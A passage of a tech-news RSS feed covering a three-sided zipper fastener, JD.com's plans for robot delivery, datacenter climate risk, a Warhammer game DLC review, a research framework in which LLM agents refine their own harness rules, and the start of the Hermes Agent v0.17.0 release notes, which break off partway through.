<content:encoded><![CDATA[With an adaptable fastener designed at CSAIL, pitching a tent or adjusting the cast for a broken bone could be almost as easy as zipping your coat. The researchers, led by associate professor Stefanie Mueller, were inspired by an abandoned prototype for a three-sided zipper that William Freeman, PhD ’92 (now an MIT professor), patented…]]></content:encoded>
</item>
<item>
<title><![CDATA[Robots will replace 700K delivery workers, warns head of e-commerce giant]]></title>
<description><![CDATA[China’s e-commerce giant JD.com is preparing for a future where packages are delivered by robots instead of people. The company’s founder and chairman, Richard Liu, expects robots will “sooner or later” take over deliveries from the company’s roughly 700,000 couriers.



“It will definitely be ro...]]></description>
<link>https://tsecurity.de/de/3619432/it-nachrichten/robots-will-replace-700k-delivery-workers-warns-head-of-e-commerce-giant/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619432/it-nachrichten/robots-will-replace-700k-delivery-workers-warns-head-of-e-commerce-giant/</guid>
<pubDate>Tue, 23 Jun 2026 21:32:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>China’s e-commerce giant JD.com is preparing for a future where packages are delivered by robots instead of people. The company’s founder and chairman, Richard Liu, expects robots will “sooner or later” take over deliveries from the company’s roughly 700,000 couriers.</p>



<p>“It will definitely be robots delivering packages. But I really don’t want our 700,000 brothers to go without food and without jobs,” Liu said at the Asia-Pacific Economic Cooperation CEO Forum, according to <a href="https://www.ft.com/content/465635e2-633b-4311-afe5-9b3bff8c9240" target="_blank" rel="noreferrer noopener">the Financial Times</a>.</p>



<p>He did not provide a more specific timeframe for the change. As part of the transition, Liu said JD.com has entered into agreements with about 120 schools to retrain couriers for new professions, including the repair and maintenance of robots.</p>



<p>The number of gig workers in China — including delivery drivers, chauffeurs, and factory workers on temporary contracts — is expected to reach about 320 million this year, according to Chinese researchers. At the same time, the youth unemployment rate stands at over 16%.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Majority of datacenters are vulnerable to climate threats like floods and fires, study finds]]></title>
<description><![CDATA[Study warns AI datacenters are vulnerable to the climate hazards that their global greenhouse gas emissions bolsterAmid rising concern that the artificial intelligence boom is fueling the climate crisis, a new report has found that nearly 80% of datacenters are also exposed to extreme climate haz...]]></description>
<link>https://tsecurity.de/de/3618098/ai-nachrichten/majority-of-datacenters-are-vulnerable-to-climate-threats-like-floods-and-fires-study-finds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3618098/ai-nachrichten/majority-of-datacenters-are-vulnerable-to-climate-threats-like-floods-and-fires-study-finds/</guid>
<pubDate>Tue, 23 Jun 2026 13:33:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Study warns AI datacenters are vulnerable to the climate hazards that their global greenhouse gas emissions bolster</p><p>Amid rising concern that the <a href="https://www.theguardian.com/technology/artificialintelligenceai">artificial intelligence</a> boom is fueling the climate crisis, a new report has found that nearly 80% of <a href="https://www.theguardian.com/us-news/datacenters--us-">datacenters</a> are also exposed to extreme climate hazards, including flooding, extreme winds and wildfires.</p><p>Those impacts are leaving the infrastructure vulnerable to disrupted operations, increased time offline and inflated insurance and repair costs, the research from climate risk analytics firm First Street shows.</p> <a href="https://www.theguardian.com/us-news/2026/jun/23/datacenters-climate-hazards-study">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Warhammer 40,000: Gladius - Eradication Pack DLC – Yay or Nay (PC)]]></title>
<description><![CDATA[The Space Marines and the Orks have been battling over ten or fifteen hexes for an eternity. They have the numbers and an obsession with bringing in Blastajets, while we have the tech edge and some experienced Terminators to hold the line. Moving units out of the line to heal and repair, while us...]]></description>
<link>https://tsecurity.de/de/3616389/it-security-nachrichten/warhammer-40000-gladius-eradication-pack-dlc-yay-or-nay-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616389/it-security-nachrichten/warhammer-40000-gladius-eradication-pack-dlc-yay-or-nay-pc/</guid>
<pubDate>Mon, 22 Jun 2026 20:35:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Space Marines and the Orks have been battling over ten or fifteen hexes for an eternity. They have the numbers and an obsession with bringing in Blastajets, while we have the tech edge and some experienced Terminators to hold the line. Moving units out of the line to heal and repair, while using heroes to deal with the biggest threats, makes for some satisfying Warhammer 40,000 combat storytelling.

It’s three turns until the Space Marines bring their first Thunderhawk online. It’s costly, but even if I can’t fill its hold with Assault Marines, it will shatter the equilibrium. A deep strike, with some orbital bombardment support, should make it easier to get to the Ork settlements and level them. Time is of the essence, as scout patrols are encountering both Chaos Space Marines and Tyranids.

Warhammer 40,000: Gladius - Eradication pack is developed by Proxy Studios and published by Slitherine Ltd. This downloadable content pack adds more units for players to dep...]]></content:encoded>
</item>
<item>
<title><![CDATA[Researchers introduce Self-Harness, a framework that lets AI agents rewrite their own rules, boosting performance up to 60%]]></title>
<description><![CDATA[Not every company can or should build their own frontier AI language model. However, the harness controlling the model is something that most enterprises can and should customize for their specific purposes.Of course, this is easier said than done. Agent harnesses are still largely tuned through ...]]></description>
<link>https://tsecurity.de/de/3616014/it-nachrichten/researchers-introduce-self-harness-a-framework-that-lets-ai-agents-rewrite-their-own-rules-boosting-performance-up-to-60/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3616014/it-nachrichten/researchers-introduce-self-harness-a-framework-that-lets-ai-agents-rewrite-their-own-rules-boosting-performance-up-to-60/</guid>
<pubDate>Mon, 22 Jun 2026 17:48:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Not every company can or should build their own frontier AI language model. However, the <i>harness</i> controlling the model is something that most enterprises can and <i>should</i> customize for their specific purposes.</p><p>Of course, this is easier said than done. A<!-- -->gent harnesses are still largely tuned through manual, ad hoc debugging — a process that relies heavily on intuition rather than systematic feedback loops, making it difficult to keep pace with rapidly evolving LLMs.</p><p>To solve this challenge, researchers at the Shanghai Artificial Intelligence Laboratory have introduced “<a href="https://arxiv.org/abs/2606.09498">Self-Harness</a>,” a new paradigm in which an LLM-based agent systematically improves its own operating rules. By examining its own execution traces to apply edits, the system trades manual guesswork for empirical evidence.</p><p>Self-improving harnesses can enable development teams to deploy robust custom agents that continually adapt their own execution protocols to overcome model-specific weaknesses.</p><h2><b>The challenge of harness engineering</b></h2><p>An LLM-based agent's performance is not determined solely by its underlying base model, but also by its harness: the surrounding system that provides context and enables the model to interact with the environment. A harness includes components like system prompts, tools, memory, verification rules, runtime policies, orchestration logic, and failure-recovery procedures.</p><p>This layer is crucial because many common agent failures stem from the harness rather than the model. For example, an agent may report success without checking the model’s response (e.g., running the code to see if it passes the tests), or it might retry a failed action repeatedly. The harness is also responsible for preventing <a href="https://venturebeat.com/ai/mits-new-recursive-framework-lets-llms-process-10-million-tokens-without">context rot or overload</a> when the agent’s interaction history grows very large. Examples of popular harnesses include SWE-agent, Claude Code, Codex, and OpenHands.</p><p>Harness engineering remains a significant challenge, but the bottleneck isn't necessarily that humans are too slow or incapable. </p><p>In fact, Hangfan Zhang, lead author of the Self-Harness paper, told VentureBeat that "in many cases, an experienced engineer with deep domain knowledge can still propose better changes than an LLM can today."</p><p>Instead, the true bottleneck of manual engineering is that it relies heavily on ad hoc debugging rather than a verifiable, empirical feedback loop. "The deeper issue is that the current harness-engineering paradigm often lacks a systematic feedback loop," Zhang explained. "Many edits are made based on intuition, a few observed failures, or ad hoc debugging."</p><p>With new models being released at a rapid pace, depending on human intuition to manually tune model-specific harnesses becomes increasingly costly and untenable. While some approaches use stronger models to improve the harnesses of weaker target agents, this dependence on external guidance has its own challenges, as these models may be costly, unavailable for frontier models, or mismatched to the target model's failure modes.</p><h2><b>How Self-Harness works</b></h2><p>The Self-Harness paradigm enables an LLM-based agent to improve its own harness without relying on human engineers or stronger external models.</p><p>This continuous self-evolution is driven by a three-stage iterative loop that turns behavioral evidence into harness updates:</p><ul><li><p><b>Weakness mining:</b> Starting from an initial harness, the agent runs a set of tasks, producing execution traces with verifiable outcomes. The agent categorizes failed traces and tries to detect model-specific failure patterns.</p></li><li><p><b>Harness proposal:</b> Based on these failure patterns, the agent uses a “proposer” role to generate a set of diverse yet minimal harness modifications, each tied to a specific failure mechanism to avoid overly general corrections.</p></li><li><p><b>Proposal validation:</b> The system evaluates candidate modifications through regression tests. An edit is promoted only if it improves performance without causing measurable degradation on held-out tasks. If multiple candidate modifications pass the regression tests, they are merged into the next version of the harness, which then serves as the starting point for the next iteration.</p></li></ul><p>To visualize why an enterprise would need this, imagine an automated issue-fixing agent that reads internal documentation, writes patches, and opens pull requests. If the company updates its documentation style, the agent might suddenly fail, pulling the wrong context or writing bad patches. </p><p>On the surface, the agent simply looks broken. But Self-Harness turns this ambiguous failure into a solvable problem. "The failure traces expose where the agent is misusing the new documentation format; the proposer can generate a targeted harness edit... and the evaluator can decide whether that edit improves the failing cases without regressing other cases," Zhang said.</p><h2><b>Self-Harness in action</b></h2><p>The researchers evaluated Self-Harness on <a href="https://www.tbench.ai/">Terminal-Bench-2.0</a>, a benchmark that tests general tool-based execution, including artifact management, command use, verification behavior, and recovery from execution errors. They applied Self-Harness with MiniMax M2.5, Qwen3.5-35B-A3B, and GLM-5.</p><p>To isolate the impact of the self-evolving harness, they started with a minimal harness built upon the DeepAgent SDK, containing only the benchmark-facing system prompt, and the default filesystem and shell tools. The model backend, tool set, benchmark environment, and evaluator were kept unchanged while only the harness was allowed to vary.</p><p>The quantitative results show that <b>agents improved their performance through automated harness edits. </b>On held-out tasks, <b>performance jumped significantly across the board, ranging from 33 to 60 percent </b>relative improvements for different models.</p><p>Importantly, an explicit acceptance rule promotes only those edits that improve performance without introducing unacceptable regressions. What makes Self-Harness powerful for enterprise applications is that it doesn’t simply make the prompt longer or add generic instructions. Instead, it introduces targeted changes that reflect the recurring problems each model encounters during execution.</p><p>For example, under the baseline harness, MiniMax M2.5 would get stuck endlessly exploring dataset configurations until the execution environment timed out, failing to produce any deliverables. Through Self-Harness, the system identified this specific flaw and wrote a "loop breaker" into its runtime policy, forcing the agent to stop and redirect its approach after 50 tool calls. It also added a rule to create an initial version of required artifacts as early as possible.</p><p>On the other hand, Qwen-3.5 had a habit of hitting a file overwrite error and then blindly retrying the same command repeatedly, eventually deleting necessary files out of confusion before stopping. The self-harness fixed this by introducing a strict command-retry discipline (forbidding exact duplicate commands) and a mechanism that forced the agent to immediately recreate any missing artifacts if a file error occurred.</p><p>GLM-5 struggled to preserve environment changes across different commands, and would often waste time on massive downloads or finalize tasks even when sanity checks were failing. Its self-generated harness introduced rules instructing the agent to persist PATH variables across shell sessions, limit external compute, and repair any failed sanity checks before concluding its run.</p><h2><b>The hidden costs of automated harnesses</b></h2><p>While Self-Harness automates the tedious work of tracking down idiosyncratic model failures, decision-makers must be realistic about the trade-offs. Replacing human engineering with automated trial-and-error requires significant computational overhead.</p><p>"Self-Harness replaces part of the human engineering burden with repeated proposal generation, parallel candidate evaluation, and regression testing," Zhang said. "That can mean more API tokens, more latency during optimization, and more infrastructure for running evaluation tasks."</p><p>Also, this system relies on the accuracy of its evaluation pipeline. During their experiments on Terminal-Bench-2.0, the researchers relied on strict, deterministic verifiers to ensure the agent's edits were actually helpful. Without this rigorous ground truth, an automated system risks promoting bad updates. "[The] evaluation system is not an optional component; it is what lets us trade human intuition for empirical evidence," Zhang said.</p><p>This reliance on strict verifiers also dictates where Self-Harness should be deployed. "The best deployment targets today are environments where failures can be measured and where trial-and-error is relatively safe," Zhang said, pointing to coding, internal workflow automation, and DevOps data pipelines as ideal use cases.</p><p>Conversely, enterprises should avoid fully automating harnesses in high-stakes or subjective fields. "The clearest red flags are domains where evaluation is subjective, delayed, non-deterministic, or costly to get wrong, such as medical decision-making, safety-critical infrastructure, or legal decisions."</p><h2><b>From prompt tweakers to feedback architects</b></h2><p>The introduction of self-improving agents does not mean coding or enterprise workflows will suddenly become human-free. The quality of collaboration between the human engineer and the AI is still paramount and difficult to capture with automated benchmarks. </p><p>Instead, the engineering profession is moving up the abstraction layer. "The role of enterprise engineers will shift from manually patching individual prompts or tool calls toward designing the feedback systems that make agent improvement possible," Zhang predicted. Moving forward, "the engineer becomes less of a prompt tweaker and more of a feedback architect."</p><p>As foundational models grow more capable, they will naturally absorb many capabilities that currently require manual harness engineering. "But once that happens, the harness will not disappear; its scope will move outward to connect the model to richer external environments," Zhang said. "Until that boundary moves beyond what humans can evaluate, humans will remain critical providers of feedback."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)]]></title>
<description><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)
Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about ho...]]></description>
<link>https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</guid>
<pubDate>Fri, 19 Jun 2026 21:46:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.17.0 (v2026.6.19)</h1>
<p><strong>Release Date:</strong> June 19, 2026<br>
<strong>Since v0.16.0:</strong> ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors</p>
<blockquote>
<p><strong>The Reach Release.</strong> v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the <code>memory</code> tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.</p>
</blockquote>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes reaches iMessage — Photon Spectrum, no Mac relay required</strong> — There's now an iMessage platform plugin built on Photon's managed line pool. Run <code>hermes photon login</code>, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Raft — Hermes joins the Raft agent network as a gateway channel</strong> — A new bundled Raft platform adapter lets Hermes connect to <a href="https://raft.build/" rel="nofollow">Raft</a> as an external agent through a wake-channel bridge. Set <code>RAFT_PROFILE</code>, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (<a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A substantially more capable desktop app</strong> — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent <strong>watch-windows</strong> that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install <strong>any VS Code Marketplace theme</strong> directly into the app. The desktop is now a serious daily driver, not a preview. (<a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Background / async subagents — delegate work and keep going</strong> — <code>delegate_task(background=true)</code> now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (<a href="https://github.com/NousResearch/hermes-agent/pull/40946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40946/hovercard">#40946</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46968/hovercard">#46968</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Edit images, not just generate them — image-to-image in <code>image_generate</code></strong> — <code>image_generate</code> can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as <code>video_generate</code>), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Automation Blueprints — schedule things without learning cron</strong> — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no <code>slot=value</code> typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing <code>0 8 * * *</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Cursor's Composer model, through your xAI Grok subscription</strong> — <code>grok-composer-2.5-fast</code> is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (<a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#6f89e17</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Full profile builder in the dashboard</strong> — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing <code>config.yaml</code>. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Skills Hub browser rehaul</strong> — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The <code>memory</code> tool got a major upgrade — atomic batch operations</strong> — The <code>memory</code> tool gained an <code>operations</code> array that applies a batch of add/replace/remove edits <strong>atomically against the final character budget</strong>. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Secure dashboard login</strong> — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a <code>public_url</code> override is silently rejected. Exposing your dashboard to the network is safer by default. (<a href="https://github.com/NousResearch/hermes-agent/pull/42578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42578/hovercard">#42578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43214/hovercard">#42578</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Official WhatsApp Business Cloud API adapter</strong> — Alongside the existing Baileys bridge, Hermes now speaks the <strong>official</strong> WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Rich text for Telegram — Bot API 10.1 rich messages</strong> — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45953/hovercard">#45953</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Curator cost optimization — no aux-model spend on routine runs</strong> — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (<code>curator.consolidate: true</code> or <code>hermes curator run --consolidate</code>). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you <strong>zero tokens</strong>. (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>New surfaces &amp; UX</h3>
<ul>
<li>Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (<a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42480" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42480/hovercard">#42480</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47985/hovercard">#47985</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
